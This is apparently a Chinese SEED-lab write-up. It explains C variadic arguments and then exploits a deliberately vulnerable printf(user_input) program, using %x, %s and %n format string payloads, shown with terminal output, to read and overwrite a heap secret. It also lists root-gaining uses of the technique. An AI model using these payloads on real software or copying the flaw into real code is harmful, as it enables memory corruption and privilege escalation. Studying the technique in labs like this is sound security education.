探索C语言的可变长参数
C语言标准库中头文件stdarg.h索引的接口包含了一组能够遍历变长参数列表的宏。 主要包含下面几个：
- va_list 用来声明一个表示参数表中各个参数的变量
- va_start 初始化一个指针来指向变长参数列表的头一个变量
- va_arg每次调用时都会返回当前指针指向的变量，并将指针挪至下一个位置，va_arg根据第二个参数类型来判断偏移的距离
- va_end需要在函数最后调用，来进行一些清理工作
观察my_print函数是如何实现可变长参数的?
root@gt:/home/git/myRubbish/seedlab# ./a.out
3.500000
4.500000 5.500000
root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c
#include <stdio.h>
#include <stdarg.h>
int myprint(int Narg,...)
{
va_list ap;
int i;
va_start(ap,Narg);
for(i = 0;i < Narg;i++)
{
//printf("%d ",va_arg(ap,int));
printf("%f ",va_arg(ap,double));
}
printf("\n");
va_end(ap);
}
int main()
{
myprint(1,2,3.5);
myprint(2,3,4.5,4,5.5);
return 1;
}
printf库函数的底层实现是什么样的?
int __printf(const char* format,...)
{
va_list arg;
int done;
va_start(arg,format);
done = vfprintf(stdout,format,arg);
va_end(arg);
return done;
}
printf缺失参数会发生什么?
root@gt:/home/git/myRubbish/seedlab/live5# ./a.out
ID:100 ,name:ailx10 ,age:-828258536
root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c
#include <stdio.h>
int main()
{
int id = 100;
int age = 25;
char* name = "ailx10";
printf("ID:%d ,name:%s ,age:%d \n",id,name);
return 1;
}
格式化字符串漏洞程序
初始化实验环境: 关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0
认识常见的格式化字符:
常见的格式化字符
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out
hello
a=5
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c
#include <stdio.h>
int main()
{
int a;
printf("hello%n\n",&a);
printf("a=%d\n",a);
return 0;
}
任务:
- 打印secret[1]的值
- 修改secret[1]的值
- 修改secret[1]的值为任意指定值
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret’s address is 0x%8x (on stack)\n",
(unsigned int)&secret);
printf("The variable secret’s value is 0x%8x (on heap)\n",
(unsigned int)secret);
printf("secret[0]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[0]);
printf("secret[1]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
1.编译运行获得如下结果:
[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%d,%d,%d,%d,%d,%d,%d
-1073745172,0,-1208008724,-1073745004,1,134524936,623666213
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由结果可以推断: printf 函数栈的第5个参数是int_input的值
2.我们修改int_input的值为secret[1]的地址会发生什么? 运行获得如下结果:
[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%d,%d,%d,%d,%s
-1073745172,0,-1208008724,-1073745004,U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由结果可以推断:
字符U的ascii码为0x55,
完成任务1:打印secret[1]的值.
3.试一试%n ? 运行获得如下结果:
[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%n
bffff2ec,0,b7ff3fec,bffff394,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x1d
由结果可以推断:
0x1d = 29,
(8+1)*3+(1+1) = 27 + 2 = 29.
修改secret[1]的值为29.完成任务2
4.试一试控制输出宽度? 运行获得如下结果:
[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%8x,%8x,%8x,%996u,%n
bffff2ec, 0,b7ff3fec, 3221222292,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x400
由结果可以推断:
0x400 = 1024,
(8+1)*3 + 996 = 1024.
修改secret[1]的值为指定的值1024.完成任务3.
升级难度
如果第一个scanf语句不存在,如何实现上面的3个任务?
堆栈结构
1.试一试多打印几个%08x ?
[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,
bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由上面的结果可知: 0804b008是secret的值,之后的78383025是%08x的ascii码.
secret地址之后是我们的user_input的字符串的ascii码对应的十六进制.
根据这一信息,我们可以将目标地址作为user_input的一部分放入栈空间中.
2.试一试将secret[0]修改成1024 ?
[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out
,%08x,%08x,%08x,%08x,%983u,%n
The string length is 33
[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
�,bffff2ec,00000000,b7ff3fec,bffff394, 0,
The original secrets: 0x44 -- 0x55
The new secrets: 0x400 -- 0x55
格式化字符串攻击的应用
1.修改函数返回地址,实现缓冲区溢出攻击,获取root权限
2.修改函数返回地址,实现return to libc攻击,获取root权限
3.修改判断语句的变量值,改变程序的执行流,实现竞争漏洞攻击,获取root权限
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